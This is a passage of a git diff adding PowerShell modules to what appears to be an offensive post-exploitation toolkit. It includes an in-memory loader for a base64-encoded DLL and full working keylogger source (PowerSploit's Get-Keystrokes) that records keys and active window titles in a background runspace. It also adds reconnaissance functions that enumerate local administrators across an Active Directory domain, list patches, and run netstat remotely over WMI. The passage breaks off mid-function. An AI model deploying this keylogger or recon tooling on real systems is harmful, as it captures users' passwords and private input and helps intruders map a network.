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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAAcDkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + $dllbytes = [System.Convert]::FromBase64String($PS) + $assembly = [System.Reflection.Assembly]::Load($dllbytes) +} + +Write-Output ("Last input " + [UserInput]::LastInput) | out-string +Write-Output ("Idle for " + [UserInput]::IdleTime) | out-string + +} \ No newline at end of file diff --git a/Modules/Get-Keystrokes.ps1 b/Modules/Get-Keystrokes.ps1 new file mode 100644 index 0000000..fe05989 --- /dev/null +++ b/Modules/Get-Keystrokes.ps1 @@ -0,0 +1,253 @@ +function Get-Keystrokes { +<# +.SYNOPSIS + + Logs keys pressed, time and the active window. + + PowerSploit Function: Get-Keystrokes + Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.PARAMETER PollingInterval + + Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds. + +.PARAMETER RunningTime + + Specifies the time in minutes for how long you want to job to run for. Defaults to 60 minutes. + +.EXAMPLE + + Get-Keystrokes -PollingInterval 20 -Runningtime 240 + +.EXAMPLE + + Get-KeylogOutput + +.LINK + + http://www.obscuresec.com/ + http://www.exploit-monday.com/ +#> + [CmdletBinding()] Param ( + [Int32] + $PollingInterval = 40, + [Int32] + $RunningTime = 60 + + ) + + $scriptblock = @" + function KeyLog { + `$PollingInterval = $PollingInterval + + [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null + + try + { + `$ImportDll = [User32] + } + catch + { + `$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') + `$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(`$DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + `$ModuleBuilder = `$AssemblyBuilder.DefineDynamicModule('Win32Lib', `$False) + `$TypeBuilder = `$ModuleBuilder.DefineType('User32', 'Public, Class') + + `$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + `$FieldArray = [Reflection.FieldInfo[]] @( + [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), + [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), + [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), + [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), + [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), + [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') + ) + + `$PInvokeMethod = `$TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) + `$FieldValueArray = [Object[]] @( + 'GetAsyncKeyState', + `$True, + `$False, + `$True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + `$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray) + `$PInvokeMethod.SetCustomAttribute(`$CustomAttribute) + + `$PInvokeMethod = `$TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) + `$FieldValueArray = [Object[]] @( + 'GetKeyboardState', + `$True, + `$False, + `$True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + `$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray) + `$PInvokeMethod.SetCustomAttribute(`$CustomAttribute) + + `$PInvokeMethod = `$TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) + `$FieldValueArray = [Object[]] @( + 'MapVirtualKey', + `$False, + `$False, + `$True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + `$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray) + `$PInvokeMethod.SetCustomAttribute(`$CustomAttribute) + + `$PInvokeMethod = `$TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], + [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) + `$FieldValueArray = [Object[]] @( + 'ToUnicode', + `$False, + `$False, + `$True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + `$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray) + `$PInvokeMethod.SetCustomAttribute(`$CustomAttribute) + + `$PInvokeMethod = `$TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) + `$FieldValueArray = [Object[]] @( + 'GetForegroundWindow', + `$True, + `$False, + `$True, + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto + ) + `$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder(`$DllImportConstructor, @('user32.dll'), `$FieldArray, `$FieldValueArray) + `$PInvokeMethod.SetCustomAttribute(`$CustomAttribute) + + `$ImportDll = `$TypeBuilder.CreateType() + } + + Start-Sleep -Milliseconds `$PollingInterval + + try + { + + #loop through typeable characters to see which is pressed + for (`$TypeableChar = 1; `$TypeableChar -le 254; `$TypeableChar++) + { + `$VirtualKey = `$TypeableChar + `$KeyResult = `$ImportDll::GetAsyncKeyState(`$VirtualKey) + + #if the key is pressed + if ((`$KeyResult -band 0x8000) -eq 0x8000) + { + + #check for keys not mapped by virtual keyboard + `$LeftShift = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 + `$RightShift = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 + `$LeftCtrl = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 + `$RightCtrl = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 + `$LeftAlt = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 + `$RightAlt = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 + `$TabKey = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 + `$SpaceBar = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 + `$DeleteKey = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 + `$EnterKey = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 + `$BackSpaceKey = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 + `$LeftArrow = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 + `$RightArrow = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 + `$UpArrow = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 + `$DownArrow = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 + `$LeftMouse = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 + `$RightMouse = (`$ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 + + if (`$LeftShift -or `$RightShift) {`$LogOutput += '[Shift]'} + if (`$LeftCtrl -or `$RightCtrl) {`$LogOutput += '[Ctrl]'} + if (`$LeftAlt -or `$RightAlt) {`$LogOutput += '[Alt]'} + if (`$TabKey) {`$LogOutput += '[Tab]'} + if (`$SpaceBar) {`$LogOutput += '[SpaceBar]'} + if (`$DeleteKey) {`$LogOutput += '[Delete]'} + if (`$EnterKey) {`$LogOutput += '[Enter]'} + if (`$BackSpaceKey) {`$LogOutput += '[Backspace]'} + if (`$LeftArrow) {`$LogOutput += '[Left Arrow]'} + if (`$RightArrow) {`$LogOutput += '[Right Arrow]'} + if (`$UpArrow) {`$LogOutput += '[Up Arrow]'} + if (`$DownArrow) {`$LogOutput += '[Down Arrow]'} + if (`$LeftMouse) {`$LogOutput += '[Left Mouse]'} + if (`$RightMouse) {`$LogOutput += '[Right Mouse]'} + + #check for capslock + if ([Console]::CapsLock) {`$LogOutput += '[Caps Lock]'} + + `$MappedKey = `$ImportDll::MapVirtualKey(`$VirtualKey, 3) + `$KeyboardState = New-Object Byte[] 256 + `$CheckKeyboardState = `$ImportDll::GetKeyboardState(`$KeyboardState) + + #create a stringbuilder object + `$StringBuilder = New-Object -TypeName System.Text.StringBuilder; + `$UnicodeKey = `$ImportDll::ToUnicode(`$VirtualKey, `$MappedKey, `$KeyboardState, `$StringBuilder, `$StringBuilder.Capacity, 0) + + #convert typed characters + if (`$UnicodeKey -gt 0) { + `$TypedCharacter = `$StringBuilder.ToString() + `$LogOutput += ('['+ `$TypedCharacter +']') + } + + #get the title of the foreground window + `$TopWindow = `$ImportDll::GetForegroundWindow() + `$WindowTitle = (Get-Process | Where-Object { `$_.MainWindowHandle -eq `$TopWindow }).MainWindowTitle + + #get the current DTG + `$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) + + #Create a custom object to store results + `$ObjectProperties = @{'Key Typed' = `$LogOutput; + 'Time' = `$TimeStamp; + 'Window Title' = `$WindowTitle} + `$ResultsObject = New-Object -TypeName PSObject -Property `$ObjectProperties + + # Stupid hack since Export-CSV doesn't have an append switch in PSv2 + `$CSVEntry = (`$ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] + `$sessionstate.log += `$CSVEntry + + } + } + } + catch {} + } + +`$timeout = new-timespan -Minutes $RunningTime +`$sw = [diagnostics.stopwatch]::StartNew() +while (`$sw.elapsed -lt `$timeout){Keylog} + +"@ + +$global:sessionstate = "2" +$PollingInterval = 40 + +$global:sessionstate = [HashTable]::Synchronized(@{}) +$sessionstate.log = New-Object System.Collections.ArrayList + +$HTTP_runspace = [RunspaceFactory]::CreateRunspace() +$HTTP_runspace.Open() +$HTTP_runspace.SessionStateProxy.SetVariable('sessionstate',$sessionstate) +$HTTP_powershell = [PowerShell]::Create() +$HTTP_powershell.Runspace = $HTTP_runspace +$HTTP_powershell.AddScript($scriptblock) > $null +$HTTP_powershell.BeginInvoke() > $null + +echo "" +echo "[+] Started Keylogging for $RunningTime minutes" +echo "" +echo "Run Get-KeystrokeData to obtain the keylog output" +echo "" +} + +function Get-KeystrokeData { + echo "" + "[+] Keylog data:" + echo $sessionstate.log +} \ No newline at end of file diff --git a/Modules/Get-LocAdm.ps1 b/Modules/Get-LocAdm.ps1 new file mode 100644 index 0000000..c5a490b --- /dev/null +++ b/Modules/Get-LocAdm.ps1 @@ -0,0 +1,30 @@ +<# + .Synopsis + Returns members of the Local Admins group + .DESCRIPTION + Retrieves all computers from Active Direcrory and searches and returns the members of the Local Admins group + .EXAMPLE + PS C:\> Get-LocAdm + +#> +Function Get-LocAdm +{ + $DirSearcher = New-Object -TypeName DirectoryServices.DirectorySearcher -ArgumentList ([ADSI]'') + $DirSearcher.Filter = '(objectClass=computer)' + $Computers = $DirSearcher.Findall() + Foreach ($Computer in $Computers) + { + $Path = $Computer.Path + $Name = ([ADSI]"$Path").Name + Write-Output -InputObject $Name + Write-Output -InputObject 'Members of the Local Admins group' + Write-Output -InputObject '=================================' + $members = [ADSI]"WinNT://$Name/Administrators" + $members = @($members.psbase.Invoke('Members')) + $members | ForEach-Object -Process { + $_.GetType().InvokeMember('Name', 'GetProperty', + $null, $_, $null) + } + Write-Output -InputObject `n + } +} diff --git a/Modules/Get-MSHotFixes.ps1 b/Modules/Get-MSHotFixes.ps1 new file mode 100644 index 0000000..4d461ac --- /dev/null +++ b/Modules/Get-MSHotFixes.ps1 @@ -0,0 +1,48 @@ +function Get-MSHotFixes +{ +<# +.Synopsis +Cmdlet to retrive the install Microsoft hotfixes +.Description +The cmdlet retrives all installled Microsoft hotfixes using WMI, specifically Win32_QuickFixEngineering class +Previously this was achieved by executing 'wmic qfe list' via Invoke-Expression, however this produced a pop-up window and Invoke-Expression could trigger various warnings or alerts. + +Version 1.0 + +.Example +Get-MSHotfixes + +Description HotfixID caption InstalledOn +----------- -------- ------- ----------- +Security Update KB3200970 http://support.microsoft.com/?kbid=3200970 18/11/2016 00:00:00 +Security Update KB3202790 http://support.microsoft.com/?kbid=3202790 17/11/2016 00:00:00 +Update KB3199986 http://support.microsoft.com/?kbid=3199986 03/11/2016 00:00:00 +Update KB2693643 02/11/2016 00:00:00 +Update KB3199209 http://support.microsoft.com/?kbid=3199209 18/10/2016 00:00:00 +Update KB3176936 http://support.microsoft.com/?kbid=3176936 24/08/2016 00:00:00 + +Retrive all installed hotfixes + +.Example +Get-MSHotFixes | Where-Object -Property hotfixid -EQ KB3176936 + +Description HotfixID caption InstalledOn +----------- -------- ------- ----------- +Update KB3176936 http://support.microsoft.com/?kbid=3176936 24/08/2016 00:00:00 + +Determine if a specific patch is installed for later versions of Powershell + +.Example +Get-MSHotFixes | Where-Object {$_.hotfixid -eq "KB2852386"} +Description HotfixID Caption InstalledOn +----------- -------- ------- ----------- +Update KB2852386 http://support.microsoft.com/?kbid... 14/11/2016 00:00:00 + +This is for PowerShell v2.0 installed on Windows 7 + + +#> + +$hotfixes = Get-WmiObject -Class Win32_QuickFixEngineering +$hotfixes | Select-Object -Property Description, HotfixID, Caption,@{l="InstalledOn";e={[DateTime]::Parse($_.psbase.properties["installedon"].value,$([System.Globalization.CultureInfo]::GetCultureInfo("en-US")))}} | Sort-Object -Descending InstalledOn +} diff --git a/Modules/Get-Netstat.ps1 b/Modules/Get-Netstat.ps1 new file mode 100644 index 0000000..227b141 --- /dev/null +++ b/Modules/Get-Netstat.ps1 @@ -0,0 +1,380 @@ +function Get-Netstat { + <# + .SYNOPSIS + Display current TCP/IP connections for local or remote system + + .FUNCTIONALITY + Computers + + .DESCRIPTION + Display current TCP/IP connections for local or remote system. Includes the process ID (PID) and process name for each connection. + If the port is not yet established, the port number is shown as an asterisk (*). + + .PARAMETER ProcessName + Gets connections by the name of the process. The default value is '*'. + + .PARAMETER Port + The port number of the local computer or remote computer. The default value is '*'. + + .PARAMETER Address + Gets connections by the IP address of the connection, local or remote. Wildcard is supported. The default value is '*'. + + .PARAMETER Protocol + The name of the protocol (TCP or UDP). The default value is '*' (all) + + .PARAMETER State + Indicates the state of a TCP connection. The possible states are as follows: + + Closed - The TCP connection is closed. + Close_Wait - The local endpoint of the TCP connection is waiting for a connection termination request from the local user. + Closing - The local endpoint of the TCP connection is waiting for an acknowledgement of the connection termination request sent previously. + Delete_Tcb - The transmission control buffer (TCB) for the TCP connection is being deleted. + Established - The TCP handshake is complete. The connection has been established and data can be sent. + Fin_Wait_1 - The local endpoint of the TCP connection is waiting for a connection termination request from the remote endpoint or for an acknowledgement of the connection termination request sent previously. + Fin_Wait_2 - The local endpoint of the TCP connection is waiting for a connection termination request from the remote endpoint. + Last_Ack - The local endpoint of the TCP connection is waiting for the final acknowledgement of the connection termination request sent previously. + Listen - The local endpoint of the TCP connection is listening for a connection request from any remote endpoint. + Syn_Received - The local endpoint of the TCP connection has sent and received a connection request and is waiting for an acknowledgment. + Syn_Sent - The local endpoint of the TCP connection has sent the remote endpoint a segment header with the synchronize (SYN) control bit set and is waiting for a matching connection request. + Time_Wait - The local endpoint of the TCP connection is waiting for enough time to pass to ensure that the remote endpoint received the acknowledgement of its connection termination request. + Unknown - The TCP connection state is unknown. + + Values are based on the TcpState Enumeration: + http://msdn.microsoft.com/en-us/library/system.net.networkinformation.tcpstate%28VS.85%29.aspx + + Cookie Monster - modified these to match netstat output per here: + http://support.microsoft.com/kb/137984 + + .PARAMETER ComputerName + If defined, run this command on a remote system via WMI. \\computername\c$\netstat.txt is created on that system and the results returned here + + .PARAMETER ShowHostNames + If specified, will attempt to resolve local and remote addresses. + + .PARAMETER tempFile + Temporary file to store results on remote system. Must be relative to remote system (not a file share). Default is "C:\netstat.txt" + + .PARAMETER AddressFamily + Filter by IP Address family: IPv4, IPv6, or the default, * (both). + + If specified, we display any result where both the localaddress and the remoteaddress is in the address family. + + .EXAMPLE + Get-NetworkStatistics | Format-Table + + .EXAMPLE + Get-NetworkStatistics iexplore -computername k-it-thin-02 -ShowHostNames | Format-Table + + .EXAMPLE + Get-NetworkStatistics -ProcessName md* -Protocol tcp + + .EXAMPLE + Get-NetworkStatistics -Address 192* -State LISTENING + + .EXAMPLE + Get-NetworkStatistics -State LISTENING -Protocol tcp + + .EXAMPLE + Get-NetworkStatistics -Computername Computer1, Computer2 + + .EXAMPLE + 'Computer1', 'Computer2' | Get-NetworkStatistics + + .OUTPUTS + System.Management.Automation.PSObject + + .NOTES + Author: Shay Levy, code butchered by Cookie Monster + Shay's Blog: http://PowerShay.com + Cookie Monster's Blog: http://ramblingcookiemonster.github.io/ + + .LINK + http://gallery.technet.microsoft.com/scriptcenter/Get-NetworkStatistics-66057d71 + #> + [OutputType('System.Management.Automation.PSObject')] + [CmdletBinding()] + param( + + [Parameter(Position=0)] + [System.String]$ProcessName='*', + + [Parameter(Position=1)] + [System.String]$Address='*', + + [Parameter(Position=2)] + $Port='*', + + [Parameter(Position=3, + ValueFromPipeline = $True, + ValueFromPipelineByPropertyName = $True)] + [System.String[]]$ComputerName=$env:COMPUTERNAME, + + [ValidateSet('*','tcp','udp')] + [System.String]$Protocol='*', + + [ValidateSet('*','Closed','Close_Wait','Closing','Delete_Tcb','DeleteTcb','Established','Fin_Wait_1','Fin_Wait_2','Last_Ack','Listening','Syn_Received','Syn_Sent','Time_Wait','Unknown')] + [System.String]$State='*', + + [switch]$ShowHostnames, + + [switch]$ShowProcessNames = $true, + + [System.String]$TempFile = "C:\netstat.txt", + + [validateset('*','IPv4','IPv6')] + [string]$AddressFamily = '*' + ) + + begin{ + #Define properties + $properties = 'ComputerName','Protocol','LocalAddress','LocalPort','RemoteAddress','RemotePort','State','ProcessName','PID' + + #store hostnames in array for quick lookup + $dnsCache = @{} + + } + + process{ + + foreach($Computer in $ComputerName) { + + #Collect processes + if($ShowProcessNames){ + Try { + $processes = Get-Process -ComputerName $Computer -ErrorAction stop | select name, id + } + Catch { + Write-warning "Could not run Get-Process -computername $Computer. Verify permissions and connectivity. Defaulting to no ShowProcessNames" + $ShowProcessNames = $false + } + } + + #Handle remote systems + if($Computer -ne $env:COMPUTERNAME){ + + #define command + [string]$cmd = "cmd /c c:\windows\system32\netstat.exe -ano >> $tempFile" + + #define remote file path - computername, drive, folder path + $remoteTempFile = "\\{0}\{1}`${2}" -f "$Computer", (split-path $tempFile -qualifier).TrimEnd(":"), (Split-Path $tempFile -noqualifier) + + #delete previous results + Try{ + $null = Invoke-WmiMethod -class Win32_process -name Create -ArgumentList "cmd /c del $tempFile" -ComputerName $Computer -ErrorAction stop + } + Catch{ + Write-Warning "Could not invoke create win32_process on $Computer to delete $tempfile" + } + + #run command + Try{ + $processID = (Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $cmd -ComputerName $Computer -ErrorAction stop).processid + } + Catch{ + #If we didn't run netstat, break everything off + Throw $_ + Break + } + + #wait for process to complete + while ( + #This while should return true until the process completes + $( + try{ + get-process -id $processid -computername $Computer -ErrorAction Stop + } + catch{ + $FALSE + } + ) + ) { + start-sleep -seconds 2 + } + + #gather results + if(test-path $remoteTempFile){ + + Try { + $results = Get-Content $remoteTempFile | Select-String -Pattern '\s+(TCP|UDP)' + } + Catch { + Throw "Could not get content from $remoteTempFile for results" + Break + } + + Remove-Item $remoteTempFile -force + + } + else{ + Throw "'$tempFile' on $Computer converted to '$remoteTempFile'. This path is not accessible from your system." + Break + } + } + else{ + #gather results on local PC + $results = netstat -ano | Select-String -Pattern '\s+(TCP|UDP)' + } + + #initialize counter for progress + $totalCount = $results.count + $count = 0 + + #Loop through each line of results + foreach($result in $results) { + + $item = $result.line.split(' ',[System.StringSplitOptions]::RemoveEmptyEntries) + + if($item[1] -notmatch '^\[::'){ + + #parse the netstat line for local address and port + if (($la = $item[1] -as [ipaddress]).AddressFamily -eq 'InterNetworkV6'){ + $localAddress = $la.IPAddressToString + $localPort = $item[1].split('\]:')[-1] + } + else { + $localAddress = $item[1].split(':')[0] + $localPort = $item[1].split(':')[-1] + } + + #parse the netstat line for remote address and port + if (($ra = $item[2] -as [ipaddress]).AddressFamily -eq 'InterNetworkV6'){ + $remoteAddress = $ra.IPAddressToString + $remotePort = $item[2].split('\]:')[-1] + } + else { + $remoteAddress = $item[2].split(':')[0] + $remotePort = $item[2].split(':')[-1] + } + + #Filter IPv4/IPv6 if specified + if($AddressFamily -ne "*") + { + if($AddressFamily -eq 'IPv4' -and $localAddress -match ':' -and $remoteAddress -match ':|\*' ) + { + #Both are IPv6, or ipv6 and listening, skip + Write-Verbose "Filtered by AddressFamily:`n$result" + continue + } + elseif($AddressFamily -eq 'IPv6' -and $localAddress -notmatch ':' -and ( $remoteAddress -notmatch ':' -or $remoteAddress -match '*' ) ) + { + #Both are IPv4, or ipv4 and listening, skip + Write-Verbose "Filtered by AddressFamily:`n$result" + continue + } + } + + #parse the netstat line for other properties + $procId = $item[-1] + $proto = $item[0] + $status = if($item[0] -eq 'tcp') {$item[3]} else {$null} + + #Filter the object + if($remotePort -notlike $Port -and $localPort -notlike $Port){ + write-verbose "remote $Remoteport local $localport port $port" + Write-Verbose "Filtered by Port:`n$result" + continue + } + + if($remoteAddress -notlike $Address -and $localAddress -notlike $Address){ + Write-Verbose "Filtered by Address:`n$result" + continue + } + + if($status -notlike $State){ + Write-Verbose "Filtered by State:`n$result" + continue + } + + if($proto -notlike $Protocol){ + Write-Verbose "Filtered by Protocol:`n$result" + continue + } + + #Display progress bar prior to getting process name or host name + Write-Progress -Activity "Resolving host and process names"` + -Status "Resolving process ID $procId with remote address $remoteAddress and local address $localAddress"` + -PercentComplete (( $count / $totalCount ) * 100) + + #If we are running showprocessnames, get the matching name + if($ShowProcessNames -or $PSBoundParameters.ContainsKey -eq 'ProcessName'){ + + #handle case where process spun up in the time between running get-process and running netstat + if($procName = $processes | Where {$_.id -eq $procId} | select -ExpandProperty name ){ } + else {$procName = "Unknown"} + + } + else{$procName = "NA"} + + if($procName -notlike $ProcessName){ + Write-Verbose "Filtered by ProcessName:`n$result" + continue + } + + #if the showhostnames switch is specified, try to map IP to hostname + if($showHostnames){ + $tmpAddress = $null + try{ + if($remoteAddress -eq "127.0.0.1" -or $remoteAddress -eq "0.0.0.0"){ + $remoteAddress = $Computer + } + elseif($remoteAddress -match "\w"){ + + #check with dns cache first + if ($dnsCache.containskey( $remoteAddress)) { + $remoteAddress = $dnsCache[$remoteAddress] + write-verbose "using cached REMOTE '$remoteAddress'" + } + else{ + #if address isn't in the cache, resolve it and add it + $tmpAddress = $remoteAddress + $remoteAddress = [System.Net.DNS]::GetHostByAddress("$remoteAddress").hostname + $dnsCache.add($tmpAddress, $remoteAddress) + write-verbose "using non cached REMOTE '$remoteAddress`t$tmpAddress" + } + } + } + catch{ } + + try{ 